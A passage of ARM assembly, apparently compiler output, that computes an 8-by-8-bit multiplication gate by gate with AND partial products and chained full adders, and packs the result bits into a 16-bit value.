and r2, r3, #255
ldrb r1, [fp, #-158]
ldrb r3, [fp, #-159]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-137]
ldrb r2, [fp, #-156]
ldrb r3, [fp, #-148]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-157]
eor r3, r3, r2
strb r3, [fp, #-136]
ldrb r2, [fp, #-156]
ldrb r3, [fp, #-157]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-148]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-156]
ldrb r3, [fp, #-157]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-135]
ldrb r2, [fp, #-154]
ldrb r3, [fp, #-147]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-155]
eor r3, r3, r2
strb r3, [fp, #-134]
ldrb r2, [fp, #-154]
ldrb r3, [fp, #-155]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-147]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-154]
ldrb r3, [fp, #-155]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-133]
ldrb r2, [fp, #-167]
ldrb r3, [fp, #-146]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-153]
eor r3, r3, r2
strb r3, [fp, #-132]
ldrb r2, [fp, #-167]
ldrb r3, [fp, #-153]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-146]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-167]
ldrb r3, [fp, #-153]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-131]
ldrb r2, [fp, #-199]
ldrb r3, [fp, #-188]
and r3, r3, r2
strb r3, [fp, #-130]
ldrb r2, [fp, #-198]
ldrb r3, [fp, #-188]
and r3, r3, r2
strb r3, [fp, #-129]
ldrb r2, [fp, #-197]
ldrb r3, [fp, #-188]
and r3, r3, r2
strb r3, [fp, #-128]
ldrb r2, [fp, #-196]
ldrb r3, [fp, #-188]
and r3, r3, r2
strb r3, [fp, #-127]
ldrb r2, [fp, #-195]
ldrb r3, [fp, #-188]
and r3, r3, r2
strb r3, [fp, #-126]
ldrb r2, [fp, #-194]
ldrb r3, [fp, #-188]
and r3, r3, r2
strb r3, [fp, #-125]
ldrb r2, [fp, #-193]
ldrb r3, [fp, #-188]
and r3, r3, r2
strb r3, [fp, #-124]
ldrb r2, [fp, #-192]
ldrb r3, [fp, #-188]
and r3, r3, r2
strb r3, [fp, #-123]
ldrb r2, [fp, #-142]
ldrb r3, [fp, #-130]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-143]
eor r3, r3, r2
strb r3, [fp, #-122]
ldrb r2, [fp, #-142]
ldrb r3, [fp, #-143]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-130]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-142]
ldrb r3, [fp, #-143]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-121]
ldrb r2, [fp, #-140]
ldrb r3, [fp, #-129]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-141]
eor r3, r3, r2
strb r3, [fp, #-120]
ldrb r2, [fp, #-140]
ldrb r3, [fp, #-141]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-129]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-140]
ldrb r3, [fp, #-141]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-119]
ldrb r2, [fp, #-138]
ldrb r3, [fp, #-128]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-139]
eor r3, r3, r2
strb r3, [fp, #-118]
ldrb r2, [fp, #-138]
ldrb r3, [fp, #-139]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-128]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-138]
ldrb r3, [fp, #-139]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-117]
ldrb r2, [fp, #-136]
ldrb r3, [fp, #-127]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-137]
eor r3, r3, r2
strb r3, [fp, #-116]
ldrb r2, [fp, #-136]
ldrb r3, [fp, #-137]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-127]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-136]
ldrb r3, [fp, #-137]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-115]
ldrb r2, [fp, #-134]
ldrb r3, [fp, #-126]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-135]
eor r3, r3, r2
strb r3, [fp, #-114]
ldrb r2, [fp, #-134]
ldrb r3, [fp, #-135]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-126]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-134]
ldrb r3, [fp, #-135]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-113]
ldrb r2, [fp, #-132]
ldrb r3, [fp, #-125]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-133]
eor r3, r3, r2
strb r3, [fp, #-112]
ldrb r2, [fp, #-132]
ldrb r3, [fp, #-133]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-125]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-132]
ldrb r3, [fp, #-133]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-111]
ldrb r2, [fp, #-145]
ldrb r3, [fp, #-124]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-131]
eor r3, r3, r2
strb r3, [fp, #-110]
ldrb r2, [fp, #-145]
ldrb r3, [fp, #-131]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-124]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-145]
ldrb r3, [fp, #-131]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-109]
ldrb r2, [fp, #-199]
ldrb r3, [fp, #-187]
and r3, r3, r2
strb r3, [fp, #-108]
ldrb r2, [fp, #-198]
ldrb r3, [fp, #-187]
and r3, r3, r2
strb r3, [fp, #-107]
ldrb r2, [fp, #-197]
ldrb r3, [fp, #-187]
and r3, r3, r2
strb r3, [fp, #-106]
ldrb r2, [fp, #-196]
ldrb r3, [fp, #-187]
and r3, r3, r2
strb r3, [fp, #-105]
ldrb r2, [fp, #-195]
ldrb r3, [fp, #-187]
and r3, r3, r2
strb r3, [fp, #-104]
ldrb r2, [fp, #-194]
ldrb r3, [fp, #-187]
and r3, r3, r2
strb r3, [fp, #-103]
ldrb r2, [fp, #-193]
ldrb r3, [fp, #-187]
and r3, r3, r2
strb r3, [fp, #-102]
ldrb r2, [fp, #-192]
ldrb r3, [fp, #-187]
and r3, r3, r2
strb r3, [fp, #-101]
ldrb r2, [fp, #-120]
ldrb r3, [fp, #-108]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-121]
eor r3, r3, r2
strb r3, [fp, #-100]
ldrb r2, [fp, #-120]
ldrb r3, [fp, #-121]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-108]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-120]
ldrb r3, [fp, #-121]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-99]
ldrb r2, [fp, #-118]
ldrb r3, [fp, #-107]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-119]
eor r3, r3, r2
strb r3, [fp, #-98]
ldrb r2, [fp, #-118]
ldrb r3, [fp, #-119]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-107]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-118]
ldrb r3, [fp, #-119]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-97]
ldrb r2, [fp, #-116]
ldrb r3, [fp, #-106]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-117]
eor r3, r3, r2
strb r3, [fp, #-96]
ldrb r2, [fp, #-116]
ldrb r3, [fp, #-117]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-106]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-116]
ldrb r3, [fp, #-117]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-95]
ldrb r2, [fp, #-114]
ldrb r3, [fp, #-105]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-115]
eor r3, r3, r2
strb r3, [fp, #-94]
ldrb r2, [fp, #-114]
ldrb r3, [fp, #-115]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-105]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-114]
ldrb r3, [fp, #-115]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-93]
ldrb r2, [fp, #-112]
ldrb r3, [fp, #-104]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-113]
eor r3, r3, r2
strb r3, [fp, #-92]
ldrb r2, [fp, #-112]
ldrb r3, [fp, #-113]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-104]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-112]
ldrb r3, [fp, #-113]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-91]
ldrb r2, [fp, #-110]
ldrb r3, [fp, #-103]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-111]
eor r3, r3, r2
strb r3, [fp, #-90]
ldrb r2, [fp, #-110]
ldrb r3, [fp, #-111]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-103]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-110]
ldrb r3, [fp, #-111]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-89]
ldrb r2, [fp, #-123]
ldrb r3, [fp, #-102]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-109]
eor r3, r3, r2
strb r3, [fp, #-88]
ldrb r2, [fp, #-123]
ldrb r3, [fp, #-109]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-102]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-123]
ldrb r3, [fp, #-109]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-87]
ldrb r2, [fp, #-199]
ldrb r3, [fp, #-186]
and r3, r3, r2
strb r3, [fp, #-86]
ldrb r2, [fp, #-198]
ldrb r3, [fp, #-186]
and r3, r3, r2
strb r3, [fp, #-85]
ldrb r2, [fp, #-197]
ldrb r3, [fp, #-186]
and r3, r3, r2
strb r3, [fp, #-84]
ldrb r2, [fp, #-196]
ldrb r3, [fp, #-186]
and r3, r3, r2
strb r3, [fp, #-83]
ldrb r2, [fp, #-195]
ldrb r3, [fp, #-186]
and r3, r3, r2
strb r3, [fp, #-82]
ldrb r2, [fp, #-194]
ldrb r3, [fp, #-186]
and r3, r3, r2
strb r3, [fp, #-81]
ldrb r2, [fp, #-193]
ldrb r3, [fp, #-186]
and r3, r3, r2
strb r3, [fp, #-80]
ldrb r2, [fp, #-192]
ldrb r3, [fp, #-186]
and r3, r3, r2
strb r3, [fp, #-79]
ldrb r2, [fp, #-98]
ldrb r3, [fp, #-86]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-99]
eor r3, r3, r2
strb r3, [fp, #-78]
ldrb r2, [fp, #-98]
ldrb r3, [fp, #-99]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-86]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-98]
ldrb r3, [fp, #-99]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-77]
ldrb r2, [fp, #-96]
ldrb r3, [fp, #-85]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-97]
eor r3, r3, r2
strb r3, [fp, #-76]
ldrb r2, [fp, #-96]
ldrb r3, [fp, #-97]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-85]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-96]
ldrb r3, [fp, #-97]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-75]
ldrb r2, [fp, #-94]
ldrb r3, [fp, #-84]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-95]
eor r3, r3, r2
strb r3, [fp, #-74]
ldrb r2, [fp, #-94]
ldrb r3, [fp, #-95]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-84]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-94]
ldrb r3, [fp, #-95]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-73]
ldrb r2, [fp, #-92]
ldrb r3, [fp, #-83]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-93]
eor r3, r3, r2
strb r3, [fp, #-72]
ldrb r2, [fp, #-92]
ldrb r3, [fp, #-93]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-83]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-92]
ldrb r3, [fp, #-93]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-71]
ldrb r2, [fp, #-90]
ldrb r3, [fp, #-82]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-91]
eor r3, r3, r2
strb r3, [fp, #-70]
ldrb r2, [fp, #-90]
ldrb r3, [fp, #-91]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-82]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-90]
ldrb r3, [fp, #-91]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-69]
ldrb r2, [fp, #-88]
ldrb r3, [fp, #-81]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-89]
eor r3, r3, r2
strb r3, [fp, #-68]
ldrb r2, [fp, #-88]
ldrb r3, [fp, #-89]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-81]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-88]
ldrb r3, [fp, #-89]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-67]
ldrb r2, [fp, #-101]
ldrb r3, [fp, #-80]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-87]
eor r3, r3, r2
strb r3, [fp, #-66]
ldrb r2, [fp, #-101]
ldrb r3, [fp, #-87]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-80]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-101]
ldrb r3, [fp, #-87]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-65]
ldrb r2, [fp, #-199]
ldrb r3, [fp, #-185]
and r3, r3, r2
strb r3, [fp, #-64]
ldrb r2, [fp, #-198]
ldrb r3, [fp, #-185]
and r3, r3, r2
strb r3, [fp, #-63]
ldrb r2, [fp, #-197]
ldrb r3, [fp, #-185]
and r3, r3, r2
strb r3, [fp, #-62]
ldrb r2, [fp, #-196]
ldrb r3, [fp, #-185]
and r3, r3, r2
strb r3, [fp, #-61]
ldrb r2, [fp, #-195]
ldrb r3, [fp, #-185]
and r3, r3, r2
strb r3, [fp, #-60]
ldrb r2, [fp, #-194]
ldrb r3, [fp, #-185]
and r3, r3, r2
strb r3, [fp, #-59]
ldrb r2, [fp, #-193]
ldrb r3, [fp, #-185]
and r3, r3, r2
strb r3, [fp, #-58]
ldrb r2, [fp, #-192]
ldrb r3, [fp, #-185]
and r3, r3, r2
strb r3, [fp, #-57]
ldrb r2, [fp, #-76]
ldrb r3, [fp, #-64]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-77]
eor r3, r3, r2
strb r3, [fp, #-56]
ldrb r2, [fp, #-76]
ldrb r3, [fp, #-77]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-64]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-76]
ldrb r3, [fp, #-77]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-55]
ldrb r2, [fp, #-74]
ldrb r3, [fp, #-63]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-75]
eor r3, r3, r2
strb r3, [fp, #-54]
ldrb r2, [fp, #-74]
ldrb r3, [fp, #-75]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-63]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-74]
ldrb r3, [fp, #-75]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-53]
ldrb r2, [fp, #-72]
ldrb r3, [fp, #-62]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-73]
eor r3, r3, r2
strb r3, [fp, #-52]
ldrb r2, [fp, #-72]
ldrb r3, [fp, #-73]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-62]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-72]
ldrb r3, [fp, #-73]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-51]
ldrb r2, [fp, #-70]
ldrb r3, [fp, #-61]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-71]
eor r3, r3, r2
strb r3, [fp, #-50]
ldrb r2, [fp, #-70]
ldrb r3, [fp, #-71]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-61]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-70]
ldrb r3, [fp, #-71]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-49]
ldrb r2, [fp, #-68]
ldrb r3, [fp, #-60]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-69]
eor r3, r3, r2
strb r3, [fp, #-48]
ldrb r2, [fp, #-68]
ldrb r3, [fp, #-69]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-60]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-68]
ldrb r3, [fp, #-69]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-47]
ldrb r2, [fp, #-66]
ldrb r3, [fp, #-59]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-67]
eor r3, r3, r2
strb r3, [fp, #-46]
ldrb r2, [fp, #-66]
ldrb r3, [fp, #-67]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-59]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-66]
ldrb r3, [fp, #-67]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-45]
ldrb r2, [fp, #-79]
ldrb r3, [fp, #-58]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-65]
eor r3, r3, r2
strb r3, [fp, #-44]
ldrb r2, [fp, #-79]
ldrb r3, [fp, #-65]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-58]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-79]
ldrb r3, [fp, #-65]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-43]
ldrb r2, [fp, #-199]
ldrb r3, [fp, #-184]
and r3, r3, r2
strb r3, [fp, #-42]
ldrb r2, [fp, #-198]
ldrb r3, [fp, #-184]
and r3, r3, r2
strb r3, [fp, #-41]
ldrb r2, [fp, #-197]
ldrb r3, [fp, #-184]
and r3, r3, r2
strb r3, [fp, #-40]
ldrb r2, [fp, #-196]
ldrb r3, [fp, #-184]
and r3, r3, r2
strb r3, [fp, #-39]
ldrb r2, [fp, #-195]
ldrb r3, [fp, #-184]
and r3, r3, r2
strb r3, [fp, #-38]
ldrb r2, [fp, #-194]
ldrb r3, [fp, #-184]
and r3, r3, r2
strb r3, [fp, #-37]
ldrb r2, [fp, #-193]
ldrb r3, [fp, #-184]
and r3, r3, r2
strb r3, [fp, #-36]
ldrb r2, [fp, #-192]
ldrb r3, [fp, #-184]
and r3, r3, r2
strb r3, [fp, #-35]
ldrb r2, [fp, #-54]
ldrb r3, [fp, #-42]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-55]
eor r3, r3, r2
strb r3, [fp, #-34]
ldrb r2, [fp, #-54]
ldrb r3, [fp, #-55]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-42]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-54]
ldrb r3, [fp, #-55]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-33]
ldrb r2, [fp, #-52]
ldrb r3, [fp, #-41]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-53]
eor r3, r3, r2
strb r3, [fp, #-32]
ldrb r2, [fp, #-52]
ldrb r3, [fp, #-53]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-41]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-52]
ldrb r3, [fp, #-53]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-31]
ldrb r2, [fp, #-50]
ldrb r3, [fp, #-40]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-51]
eor r3, r3, r2
strb r3, [fp, #-30]
ldrb r2, [fp, #-50]
ldrb r3, [fp, #-51]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-40]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-50]
ldrb r3, [fp, #-51]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-29]
ldrb r2, [fp, #-48]
ldrb r3, [fp, #-39]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-49]
eor r3, r3, r2
strb r3, [fp, #-28]
ldrb r2, [fp, #-48]
ldrb r3, [fp, #-49]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-39]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-48]
ldrb r3, [fp, #-49]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-27]
ldrb r2, [fp, #-46]
ldrb r3, [fp, #-38]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-47]
eor r3, r3, r2
strb r3, [fp, #-26]
ldrb r2, [fp, #-46]
ldrb r3, [fp, #-47]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-38]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-46]
ldrb r3, [fp, #-47]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-25]
ldrb r2, [fp, #-44]
ldrb r3, [fp, #-37]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-45]
eor r3, r3, r2
strb r3, [fp, #-24]
ldrb r2, [fp, #-44]
ldrb r3, [fp, #-45]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-37]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-44]
ldrb r3, [fp, #-45]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-23]
ldrb r2, [fp, #-57]
ldrb r3, [fp, #-36]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-43]
eor r3, r3, r2
strb r3, [fp, #-22]
ldrb r2, [fp, #-57]
ldrb r3, [fp, #-43]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-36]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-57]
ldrb r3, [fp, #-43]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-21]
ldrb r2, [fp, #-32]
ldrb r3, [fp, #-33]
eor r3, r3, r2
strb r3, [fp, #-20]
ldrb r2, [fp, #-32]
ldrb r3, [fp, #-33]
and r3, r3, r2
strb r3, [fp, #-19]
ldrb r2, [fp, #-30]
ldrb r3, [fp, #-31]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-19]
eor r3, r3, r2
strb r3, [fp, #-18]
ldrb r2, [fp, #-30]
ldrb r3, [fp, #-19]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-31]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-30]
ldrb r3, [fp, #-19]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-17]
ldrb r2, [fp, #-28]
ldrb r3, [fp, #-29]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-17]
eor r3, r3, r2
strb r3, [fp, #-16]
ldrb r2, [fp, #-28]
ldrb r3, [fp, #-17]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-29]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-28]
ldrb r3, [fp, #-17]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-15]
ldrb r2, [fp, #-26]
ldrb r3, [fp, #-27]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-15]
eor r3, r3, r2
strb r3, [fp, #-14]
ldrb r2, [fp, #-26]
ldrb r3, [fp, #-15]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-27]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-26]
ldrb r3, [fp, #-15]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-13]
ldrb r2, [fp, #-24]
ldrb r3, [fp, #-25]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-13]
eor r3, r3, r2
strb r3, [fp, #-12]
ldrb r2, [fp, #-24]
ldrb r3, [fp, #-13]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-25]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-24]
ldrb r3, [fp, #-13]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-11]
ldrb r2, [fp, #-22]
ldrb r3, [fp, #-23]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-11]
eor r3, r3, r2
strb r3, [fp, #-10]
ldrb r2, [fp, #-22]
ldrb r3, [fp, #-11]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-23]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-22]
ldrb r3, [fp, #-11]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-9]
ldrb r2, [fp, #-35]
ldrb r3, [fp, #-21]
eor r3, r3, r2
and r2, r3, #255
ldrb r3, [fp, #-9]
eor r3, r3, r2
strb r3, [fp, #-8]
ldrb r2, [fp, #-35]
ldrb r3, [fp, #-9]
orr r3, r2, r3
and r2, r3, #255
ldrb r3, [fp, #-21]
and r3, r3, r2
and r2, r3, #255
ldrb r1, [fp, #-35]
ldrb r3, [fp, #-9]
and r3, r3, r1
and r3, r3, #255
orr r3, r2, r3
strb r3, [fp, #-7]
ldrb r3, [fp, #-183] @ zero_extendqisi2
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #1
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-166] @ zero_extendqisi2
lsl r3, r3, #1
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #2
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-144] @ zero_extendqisi2
lsl r3, r3, #2
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #4
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-122] @ zero_extendqisi2
lsl r3, r3, #3
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #8
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-100] @ zero_extendqisi2
lsl r3, r3, #4
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #16
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-78] @ zero_extendqisi2
lsl r3, r3, #5
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #32
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
asr r3, r3, #16
strh r3, [fp, #-6] @ movhi
ldrb r3, [fp, #-56] @ zero_extendqisi2
lsl r3, r3, #6
lsl r3, r3, #16
asr r3, r3, #16
and r3, r3, #64
lsl r3, r3, #16
asr r2, r3, #16
ldrsh r3, [fp, #-6]
orr r3, r2, r3
lsl r3, r3, #16
